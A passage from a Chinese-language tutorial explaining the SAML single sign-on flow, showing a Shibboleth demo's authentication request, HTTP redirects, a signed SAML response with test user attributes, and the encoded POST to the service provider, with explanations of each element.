<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://shibdemo-sp1.test.edu/shibboleth</saml:Issuer>
<samlp:NameIDPolicy AllowCreate="1"/>
</samlp:AuthnRequest>
> AssertionConsumerServiceURL：标识身份验证后IdP应将SAML响应发送到的位置
> Destination：表示请求发送到的地址（IdP）
> ProtocolBinding：通常伴随AssertionConsumerServiceURL属性; 定义SAML协议消息的传输机制
> saml：Issuer：标识生成请求消息的实体
我们已经概述了上述请求中突出的元素，关于任何其他元素的详细信息可以在[核心规范](https://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf "核心规范")中查看。
上面的请求是这样的：“嘿，请对发送此消息的用户进行身份验证，当您完成身份验证时请务必告诉我”。
创建SAML请求后，SP现在使用302重定向回复我们对`/secure/`的GET请求。
302引导我们的浏览器转到Idp。SAML请求作为302的一部分编码到HTTP响应的位置标头中。
HTTP/1.1 302 Found
Date: Tue, 12 Mar 2019 20:54:58 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Wed, 01 Jan 1997 12:00:00 GMT
Cache-Control: private,no-store,no-cache,max-age=0
Location: https://shibdemo-idp.test.edu/idp/profile/SAML2/Redirect/SSO?SAMLRequest=fZJdT4MwFIb%2FCuk9FNgmWzNIcLtwyXRkoBfemFKO0gRa7Cl%2B%2FHvZmDoTs8u2b5%2B350mXyNumY2lva7WH1x7QOh9to5AdD2LSG8U0R4lM8RaQWcHy9HbLQs9nndFWC90QJ0UEY6VWK62wb8HkYN6kgPv9Nia1tR0ySrGWZQWtdrELPDs0eVD1NB92S92ArT1ETQ%2FwkGa7vCDOeshIxQ%2Fcfyiy6n4pw4IOz3mWDZwQe6ikAWFpnu%2BIs1nH5ElUHKJgHk7mJV%2BI0I%2F4ZCZEJCK%2F9KdX3B9iiD1sFFqubExCP1i4%2FsQNwiL02WzKZvNH4mSnqa%2BlqqR6uayoHEPIbooic8exHsDgcaQhQJLlQTQ7Fpsz9Zex%2FNs3SS7bxR%2B7S3pWNLZ27G4gb9aZbqT4dNKm0e8rA9xCTAJCk%2FHK39%2BRfAE%3D&RelayState=ss%3Amem%3A39430bdac29d44586c326f12b4cb3345ffa47137a374e37cba0877e0fc79ea91
Content-Length: 897
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://shibdemo-idp.test.edu/idp/profile/SAML2/Redirect/SSO?SAMLRequest=fZJdT4MwFIb%2FCuk9FNgmWzNIcLtwyXRkoBfemFKO0gRa7Cl%2B%2FHvZmDoTs8u2b5%2B350mXyNumY2lva7WH1x7QOh9to5AdD2LSG8U0R4lM8RaQWcHy9HbLQs9nndFWC90QJ0UEY6VWK62wb8HkYN6kgPv9Nia1tR0ySrGWZQWtdrELPDs0eVD1NB92S92ArT1ETQ%2FwkGa7vCDOeshIxQ%2Fcfyiy6n4pw4IOz3mWDZwQe6ikAWFpnu%2BIs1nH5ElUHKJgHk7mJV%2BI0I%2F4ZCZEJCK%2F9KdX3B9iiD1sFFqubExCP1i4%2FsQNwiL02WzKZvNH4mSnqa%2BlqqR6uayoHEPIbooic8exHsDgcaQhQJLlQTQ7Fpsz9Zex%2FNs3SS7bxR%2B7S3pWNLZ27G4gb9aZbqT4dNKm0e8rA9xCTAJCk%2FHK39%2BRfAE%3D&RelayState=ss%3Amem%3A39430bdac29d44586c326f12b4cb3345ffa47137a374e37cba0877e0fc79ea91">here</a>.</p>
<hr>
<address>Apache/2.2.3 (CentOS) Server at shibdemo-sp1.test.edu Port 443</address>
</body></html>
随SAML请求一起发送的RelayState参数是SP发送给IDP的状态信息，以便SP知道SAML响应返回时最初请求资源的人。SAML响应必须包含相同的RelayState值。
SAMLRequest参数是我们前面看到的原始XML片段的压缩和编码版本。SAML使用Deflate压缩算法，然后Base64对结果进行编码。
[oneLogin](https://www.samltool.com/encode.php
"oneLogin")提供了一个优秀的在线SAML工具套件，我们可以在其中使用SAML处理编码/解码和加密/解密等功能。
让我们继续深入研究，看看IdP端会发生什么。
## SAML响应示例
我们直接跳到SAML身份验证工作流中讨论的步骤5和步骤6。请记住，我们要查看的内容发生在用户向IDP进行身份验证之后。
让我们首先看一下原始的SAML响应。
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="https://shibdemo-sp1.test.edu/Shibboleth.sso/SAML2/POST" ID="_2af3ff4a06aa82058f0eaa8ae7866541" InResponseTo="_cdae718238ba9c207a35cc7c70b046a0" IssueInstant="2019-03-12T20:54:54.061Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://shibdemo-idp.test.edu/idp/shibboleth</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>Se+WwXd5r44J56LauTz/wnP3jWg=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>f8X28hHMpnTi/Hqi6phuxqbYKsf99Qi8QqVI3x3zRj6njs+J9ey7qxw4GTMV657IfmmMotE0IAIrmPh3lebX65bCUCpiDtFaP04KjWNGGWa7z6rjwhRIY6chYGYzdmrXWmvY2EXW3nkynAJ2vXo5mncOz2P17/bQgqDU6BTzfRzYU6q6TcGLjRd7pGMGbBm6wH5c8aHM4FaQZNv7qHkIVvTlCRcpg/b8qS2fWW8kwgklLXd1xTCXh9XedxrFWq75nSFZ6FiakfUMybC5YIqZ7nr4GfVKqdmh3wvCF/P9jrUkBNDsw3Id63UAwbnMVvBAYt2tgfiD5hpJ3ZLkzjds+g==</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIDXTCCAkWgAwIBAgIJAO7P8i9TJMuvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTgwNDA1MDI1NTUyWhcNMjgwNDA0MDI1NTUyWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwfSJJxxWvJ2Xok+Qx1OwQa+LA6mTSomOrgcJkRhfjeA9LMBmQlZKMdHiwKCaJBm7l1G13CNN2XhBZBqLFEX/4pPO5WBakAEa8h1i1ODmge1NKntcr3jPG8pGrzQVFbTpyoPaeJM5nSJUJhdI+QlXEYRZ2WUpKrrPXaG4O/bKFQ4FP7tRiYMi7SZde0QOUSTUlO14JA5L3jNUk0eha2hVULyCEa9WjbfOfw+0TvE32MrAhsu4QJQgr18q1x4+GNuOI0LkX1/WehXDstyjX68CxHRSNfsarX7HeOvqn8HbGkIAKMG1ldmSkyvJ0DrvEU+0wTxaTXxFR+zwFOBnSKIVBwIDAQABo1AwTjAdBgNVHQ4EFgQUn3h8qx+ssGm8balncHSF9hi01NQwHwYDVR0jBBgwFoAUn3h8qx+ssGm8balncHSF9hi01NQwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAuVmxbUhFA8cdnxgwHWYXniebXpPNMfoMBPpMao20uv9dkKHH2AzuT7TWAICiSj29ZuHEVJaK1mfwErr+R8etKnGT0tA53/509+gWG0eCQSh+AF/VPWQ4JRoPMszKdLzl4surnNOA5JegKVvTcT91+G+OWv0hB4iMD/quegLSBfrlbtyTT58Moj33wDDhaMH1Dlm23zfgB/0w3ztZnnmdxXJxGZuLiybJXTMbkjhUk41udHTQcsxKdaRoaQobDNdbqyl245RP15QXKphaz8DadCyH4v8o5NIU5lZyEG7KCpWnqWe6au6OrbGqBkqDIrEue3Wnu+TFaJRXBd12D9Xb8g==</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_e0acf8ced7e2cafc7c65b2c097842486e0838d76e0" IssueInstant="2019-03-13T22:44:33Z" Version="2.0">
<saml:Issuer>https://shibdemo-idp.test.edu/idp/shibboleth</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#_e0acf8ced7e2cafc7c65b2c097842486e0838d76e0">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>kDAb3x6EFvA9VblqwbIFcCnLQvo=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>e6qavbOCH8YAAMzDXnEwT4R7VBvan2gfYU6f5M1Akp6bqZqu3H4iJ5/VKtkMb7773E4RtDpY1vy9+6hLd/BQ2V5ZN6HG12JOVAgCr9rzna2sgNDYzGfmHsOwD9QJTOYZIFU3mtOSK6Lk8bZxM7wK5X0vmRNHI5a3oQlbWy9O6NtqZdm2AwI+zXb2ePV6lILjyoGkeuRId/35lA57OW+lBsGSz1T/X+5kVBdWRAYib2FAvGLIxInLt7jEDDfh93unL+YcbXevRcQLnKzrqTmu9TFIq+w0KeEnYxxPtCCmnnv86LWDhW30RJH2cS7kTsHa271RPsCCuutJD1QSaxVP1w==
</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIDXTCCAkWgAwIBAgIJAO7P8i9TJMuvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTgwNDA1MDI1NTUyWhcNMjgwNDA0MDI1NTUyWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwfSJJxxWvJ2Xok+Qx1OwQa+LA6mTSomOrgcJkRhfjeA9LMBmQlZKMdHiwKCaJBm7l1G13CNN2XhBZBqLFEX/4pPO5WBakAEa8h1i1ODmge1NKntcr3jPG8pGrzQVFbTpyoPaeJM5nSJUJhdI+QlXEYRZ2WUpKrrPXaG4O/bKFQ4FP7tRiYMi7SZde0QOUSTUlO14JA5L3jNUk0eha2hVULyCEa9WjbfOfw+0TvE32MrAhsu4QJQgr18q1x4+GNuOI0LkX1/WehXDstyjX68CxHRSNfsarX7HeOvqn8HbGkIAKMG1ldmSkyvJ0DrvEU+0wTxaTXxFR+zwFOBnSKIVBwIDAQABo1AwTjAdBgNVHQ4EFgQUn3h8qx+ssGm8balncHSF9hi01NQwHwYDVR0jBBgwFoAUn3h8qx+ssGm8balncHSF9hi01NQwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAuVmxbUhFA8cdnxgwHWYXniebXpPNMfoMBPpMao20uv9dkKHH2AzuT7TWAICiSj29ZuHEVJaK1mfwErr+R8etKnGT0tA53/509+gWG0eCQSh+AF/VPWQ4JRoPMszKdLzl4surnNOA5JegKVvTcT91+G+OWv0hB4iMD/quegLSBfrlbtyTT58Moj33wDDhaMH1Dlm23zfgB/0w3ztZnnmdxXJxGZuLiybJXTMbkjhUk41udHTQcsxKdaRoaQobDNdbqyl245RP15QXKphaz8DadCyH4v8o5NIU5lZyEG7KCpWnqWe6au6OrbGqBkqDIrEue3Wnu+TFaJRXBd12D9Xb8g==</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient" SPNameQualifier="https://shibdemo-sp1.test.edu/shibboleth">_29b7a1a396d841b09fcf2b0bd8ce88fed6ad70e1a7</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_cdae718238ba9c207a35cc7c70b046a0" NotOnOrAfter="2019-03-13T22:49:33Z" Recipient="https://shibdemo-sp1.test.edu/Shibboleth.sso/SAML2/POST"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2019-03-13T22:44:03Z" NotOnOrAfter="2019-03-13T22:49:33Z">
<saml:AudienceRestriction>
<saml:Audience>https://shibdemo-sp1.test.edu/shibboleth</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2019-03-13T22:44:33Z" SessionIndex="_a52c3c1242663b44b706523f0a2ada454eb997e40a" SessionNotOnOrAfter="2019-03-14T06:44:33Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">epi</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">[email protected]</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="first_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">epi</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="last_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">bar</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
ds：Signature：保护断言的完整性并对其进行身份验证的XML签名；可以对SAML断言进行签名，但没啥必要。
上面的示例包含两个ds：Signature元素。一个是消息的签名，另一个是断言的签名。
saml: Assertion：包含关于用户身份和潜在的其他用户属性的信息。
saml: Subject: 指定断言中所有语句的主体。
saml: StatusCode：表示响应相应请求而执行的活动状态的代码。
saml: Conditions: 指定断言有效的时间以及断言发送给特定服务提供者的时间。
saml: AuthnStatement：指出Idp对断言的主体进行了身份验证。
saml: AttributeStatement：包含描述断言主题的属性。
这是相同SAML响应的更直观的可视化表示。
既然我们已经使用IDP进行了身份验证，并且它已经生成了上面的SAML响应，那么它将使用另一个302重定向来响应我们的身份验证。
HTTP/1.1 302 Moved Temporarily
Date: Tue, 12 Mar 2019 20:54:53 GMT
Expires: 0
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: _idp_session=MTkyLjE2OC4xLjk2%7CNmE1OWIwOTkxMjkzZjMyOTk2Yjg3NzE0NWNjYTkwYTliNGM1NDViZjRkZDhmY2M5OGQ2NmVjOGZlZTc0NzY1Ng%3D%3D%7CXWP3eN6ZeRPWk%2Bnj5AhRklHyIyU%3D; Version=1; Path=/idp; Secure
Location: https://shibdemo-idp.test.edu:443/idp/profile/SAML2/Redirect/SSO
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8
302最终导致我们向服务提供者的断言使用者服务URL发出POST请求。POST主体包含RelayState和SAMLResponse参数。回想一下，ACS处理并验证SAML响应。
POST /Shibboleth.sso/SAML2/POST HTTP/1.1
Host: shibdemo-sp1.test.edu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://shibdemo-idp.test.edu/idp/profile/SAML2/Redirect/SSO
Content-Type: application/x-www-form-urlencoded
Content-Length: 12314
Connection: close
Upgrade-Insecure-Requests: 1
RelayState=ss%3Amem%3A39430bdac29d44586c326f12b4cb3345ffa47137a374e37cba0877e0fc79ea91&SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c2FtbDJwOlJlc3BvbnNlIHhtbG5zOnNhbWwycD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9zaGliZGVtby1zcDEudGVzdC5lZHUvU2hpYmJvbGV0aC5zc28vU0FNTDIvUE9TVCIgSUQ9Il8yYWYzZmY0YTA2YWE4MjA1OGYwZWFhOGFlNzg2NjU0MSIgSW5SZXNwb25zZVRvPSJfY2RhZTcxODIzOGJhOWMyMDdhMzVjYzdjNzBiMDQ2YTAiIElzc3VlSW5zdGFudD0iMjAxOS0wMy0xMlQyMDo1NDo1NC4wNjFaIiBWZXJzaW9uPSIyLjAiPjxzYW1sMjpJc3N1ZXIgeG1sbnM6c2FtbDI9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIEZvcm1hdD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOm5hbWVpZC1mb3JtYXQ6ZW50aXR5Ij5odHRwczovL3NoaWJkZW1vLWlkcC50ZXN0LmVkdS9pZHAvc2hpYmJvbGV0aDwvc2FtbDI6SXNzdWVyPjxzYW1sMnA6U3RhdHVzPjxzYW1sMnA6U3RhdHVzQ29kZSBWYWx1ZT0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnN0YXR1czpTdWNjZXNzIi8%2BPC9zYW1sMnA6U3RhdHVzPjxzYW1sMjpFbmNyeXB0ZWRBc3NlcnRpb24geG1sbnM6c2FtbDI9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iPjx4ZW5jOkVuY3J5cHRlZERhdGEgeG1sbnM6eGVuYz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjIiBJZD0iXzNmZWYzNGViYTU1OWFmYmZhOWMxMGM4OTg4ZDcyMjA5IiBUeXBlPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNFbGVtZW50Ij48eGVuYzpFbmNyeXB0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjYWVzMTI4LWNiYyIgeG1sbnM6eGVuYz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjIi8%2BPGRzOktleUluZm8geG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjx4ZW5jOkVuY3J5cHRlZEtleSBJZD0iXzYxNzgyYWUxZjEwYmZmODdlYjI1NDIxNGJiNGI4MzMyIiB4bWxuczp4ZW5jPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyMiPjx4ZW5jOkVuY3J5cHRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNyc2Etb2FlcC1tZ2YxcCIgeG1sbnM6eGVuYz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjIj48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI3NoYTEiIHhtbG5zOmRzPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIi8%2BPC94ZW5jOkVuY3J5cHRpb25NZXRob2Q%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJQy9UQ0NBZVdnQXdJQkFnSUpBT2Q3UEUxdWFhVWhNQTBHQ1NxR1NJYjNEUUVCQlFVQU1CMHhHekFaQmdOVkJBTVRFbE5vYVdKawpaVzF2TFhOd01TNXNiMk5oYkRBZUZ3MHhNVEV3TWpFd016VXhNalZhRncweU1URXdNVGd3TXpVeE1qVmFNQjB4R3pBWkJnTlZCQU1UCkVsTm9hV0prWlcxdkxYTndNUzVzYjJOaGJEQ0NBU0l3RFFZSktvWklodmNOQVFFQkJRQURnZ0VQQURDQ0FRb0NnZ0VCQUxldnFJWjEKOG1MQzZhU1gwSnNXdS81SnBlR0VMbGVLbFRabmtJaUt3Ny9FVnN6N0VmZEZhVEd6cU1pTjFlTS83NjY1bTFBcHhJVUpibnN1cE15Ywo5Mm9WaFpJcDNxVU5mMTExMldJNlovL1dOWThFTVU4WXdheUxGSmdjQUkxVHpyVS9NNHpjaitTRFVqeUNOaDBnYVlUWENFT0NpeWFXCkl6cGxWMU9IRzNXdmVWenFTVGZHa2p4UWpBc21mZmZVVzY4eEVyVlVYck5SWVlWUStBMmlMbUwzQ29jcmc4QUwvNTRSbnRPdm1vRngKMk1xaVVseVA4dWdML2FiT05EeTlLd0VqYXNNZmR3YzI1L0p5TEFQMTE4VThPNUk3UXRvUG90bS9rRWpZOEY2SmJnSXlmSSswUElPUwp1dTlnU0NSMFhkRm9WTnI3ZkppM2JwT09PclduUjRzQ0F3RUFBYU5BTUQ0d0hRWURWUjBSQkJZd0ZJSVNVMmhwWW1SbGJXOHRjM0F4CkxteHZZMkZzTUIwR0ExVWREZ1FXQkJSUGNxSGk1VUhNNis3ZEs0VnRwTCtPL082ZldUQU5CZ2txaGtpRzl3MEJBUVVGQUFPQ0FRRUEKVFM1SUp0UlBWaEk2ZndMQUZzS0Q5K09PbjFZRlY2NUVWVFRGaFJQeDRoTFdxQjRPRVBpR05kN2pEdFQzTVhzdmNpeTc3cS9sckV1QQp4bWw4dWloekpqSzQwbndFcThFUnRyWWZhbmhNeDJrT2JzWU4vMW02RGs4eHJkYU9oeHE1UDdrVG9JbnNTK3VEOXhCK1g0cUN4Rm52CmJ1Qm1wSC90UlR5amROcU5vVEVRa1ZBMVBmUHdHMG1wTEhXUDlPMVJqTjFsV3Y4ZUVQb0JBdzQ4ZHFvVnlCQUxoN2pJektvN2RWUW0KSitNVlhnMnRvR0l5NnhjekJOYk5ZVU5BTnc1b2M5MlY3VE1LaE00cE4zSUR1aFk2VTNkMmlYZGNsYkVRLzZiTHhlaXRYUllUWUxIQworTUs0VmFXNUFPN0hXZEhBSEVRV2NDaXpOU0xFekZXMWhBbHcvQT09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPHhlbmM6Q2lwaGVyRGF0YSB4bWxuczp4ZW5jPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyMiPjx4ZW5jOkNpcGhlclZhbHVlPlhEbkNOUk1VK3o3bnIyeGltRVZZR2JCMjdXenJlSUVBeFVrRWVmYWlrNHpjWFNqUWd5amdiYktFMkVFN0UzZXUvai81WW15RW9kS2c0M3VUbnlJcjZHSWE4dDlvV1NPTDNmNHhaNlpRSmJMbmZHeEpZM0pyRGVNTXhBRU5vZ1lsSy9RZFZQbDNGdFhsZXlibHE2YXlBd0oxYkhMc3dGRHVmWDJma2NrQjV2MURTclN5S3JtNjhZSTB2WWthcmFvVkRKU2c0RmxIRTl1dXFSdVdXYjN1a2dYNGF3VytHb2VWb0VFZjJLQlhJdnlneXI3VG00d3dhV2NETy9WV3JITkREV2o1M1c0SzVWVW9ibEVKVkptRVNSaUx1L0IvMUxielovZkd1V0FxRU5SRmtDbUZEVm12OWo2eHNwNk5GVCs1MWZDSi9LMUhsbUtmOVVQWC83dzhOQT09PC94ZW5jOkNpcGhlclZhbHVlPjwveGVuYzpDaXBoZXJEYXRhPjwveGVuYzpFbmNyeXB0ZWRLZXk%2BPC9kczpLZXlJbmZvPjx4ZW5jOkNpcGhlckRhdGEgeG1sbnM6eGVuYz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjIj48eGVuYzpDaXBoZXJWYWx1ZT5OV3MxampNRG5yYnFRQTl0VnJKbnN6dUt4d0Rva25PeEVmQmNpZEZSc0lFR0Z0eVUyd2cyWmdMVXhYZmhML1NUWEdMYVlKNFhTR1JTQ1pUUzFjbkhFUWdjNzlVWUUzcjB0ZCtjM0ViaU1JWUFXdFJMZWc2TEgxd0ZGY2RqMEhBS0pwNG9OZnpQTUovZ3BkeXZWZ3FhcEZPdDFOT0tNalNOS3EwUlhWMm5DK1BrZWxIOVVqU1lDdTg2TE12dTREcHBMc1JVQWFvRTJJM24rUkNOYUIzRHRJZTVISFZkR0JmNk5reXR6Z05oNFVDZ0ZWbFA2TjN3SjdwbDBEQ0YrTHErVzVPdGNMVDl5UkxhbXJsY241eVlxV2k2V3NxaUVUMHpPbGI3bC81RnlqUDFYZVBGWFJNeWpXblFTcWN1eFRuS2ZISlNLc0NRZG0zb0xWeEt2ajZFS3NmbmFiQlgrVnBydjhlSWN3QXBxTWRhOUlWMmh0eFljOFhGWTZtcnJMUGpoeVJHMHI4cGxoOFpEazZTcTFmNVpGRnRCdXZLZ3F6NS9TUXJmVk1FMjJKQUhXOHphQ0ZzR3NLRXBicDdTZ0E3Yi85NlRnM25mZDh5eVJrb2d5ZW9CYmcvRHRhN0VRRnh6bW9RVXpNV3Q3WkJ1ZDhGNXQxQUJIRDlsVnNkUXd4djA4b2FGMi8vNXE2M1RCOEcwcGZYNXYyU3pYV01wUFE3amtHZzJ1clpYU2loYWQveGJpODBLaFVFcXBvZFd6UlVUckluNUE0b055YU5uelkydzdDSGpjUmppQ0kzM2hQL251Zm5qQzZyK3VaV0V3T3ZkRFJMWU0xMXRoK056a3VGcnJTS1RVeE9MY0tBNWxVVUFEdTdpVFVUWTYweXl1RkZXRlo4TDZuSW93NTFiN1cyWVVESlBRZmZkaWJEczg3TUxma0V4VWZ0QTBsc3ZKV0dvZDh3SkVNaUk4M1pEdjJ4WFhlYWJURFdhK1FRS3A1anNiUS9mcWJ1Y3VOeDI0UlhQVDN4VysweWVQQ3V3dlp5SnJTOFlwYmVMV2FBQTMxbXNYSlFTTXNacEpXSFpjVS9EWnhsVHYyQzVpNVhJck5oQUNDMnd1elAzTTB3dWtXVkV6MjAyVkloN3NDSTh1anNNNlJPQU1oNjhSRndTc2FJaEMzbVpZbGJzV1lqTzZyTXJhSzljK1BXdEhoZGZPbDZqTjJNZkZsT3NKdDc5RWsxNHNsbmpPNWIwazVCcktOTkxPYlQ1aTBiSng3UXdlNE0rbDJlVlpGOURkbEI0R0FGVjdMeVVGUWpHYTkxd2JBdS9jTlZWRldYMFM3L3FkcjNXQXVnQjFsL1hRN0lsRTBMbjRpSnJJK2hlWjZ6d0VBUVNibHFyYXRaSXY4U1UwT0J1b2tYWks2UXU3MnB1TUFpdDNZZklHbk8vaUJrR3VCelhiTzR2S3NpZjNYczE2aS9ad0d2eGFDOExkYXNHQ25veVdmRE1IZG1ucWlpL1JjNWhpZUZxazJLNk9zUHpFQjVUeXBWbVZFWTBDMlBSY1hKOTlMelZ0U3NQS25tNnpzanR2MnRaUm9iV2dKekZhK1pDZlBzbEVDNndWTUJPL0hPbHMxZGY1bTBVcXVGUGZPK0dyd1E1NEE1VzJ3S2pwMTdnT2lhRzNKWXlHZG5NaUxvTEV3dStaV0NDMnZLeExEOUxPRDVYUk0rRERmU1FCazZVQjJmaWFxTjA0eC8wcTRRT3RMN2dCeHo5MnY5REp1UHFYcjhuWnFXOVFXbnNtODFpcHVWdEJVeG9paWNtZlMzOVovRTd2bzFYenlNdmN4TjNndFNTSHljTlNPYm11SklLcEVHSDM2ckQxbmppbHZ3RWhJT1hKQ2QyenRNZDVOZ0wybEl0SjNtUmpnVzg5WnNkR0YxcVdRZ2g2ZmlVOVFwL2IzNW10c25TZVpiS1ZTc21IY2k0VmlCSXpXLytwa2lucWk2Y3NCdCtxeFIvRGNvMlkzdVdpaFR0UC9zaDRLNGthYlNQd2NySGZ2YVJlZWNUTUxLMVFIem5SdjhNRzE4M0h4RW9tM2FFd2UvdjlqQitIOG1IZDVucDNKM0tKS0wzQ20xeHZETERhUFVRYkRHb2pUNE1kNUtVMTBOSmV2c3hFMFRiSVdBUWJLeDUyL21jVlNicEpxT210NDlNeElxTXRESVJST3RUcEcvTldaQTZ6Q0VRbTRTQ055WW9oVFdUTWVxU0VuMU1odlQ5dGw3S3cxd2twb25yRE0rbzNGNmsrTXFGTGMwcHNUR2d1T1Zrd0pXdkxu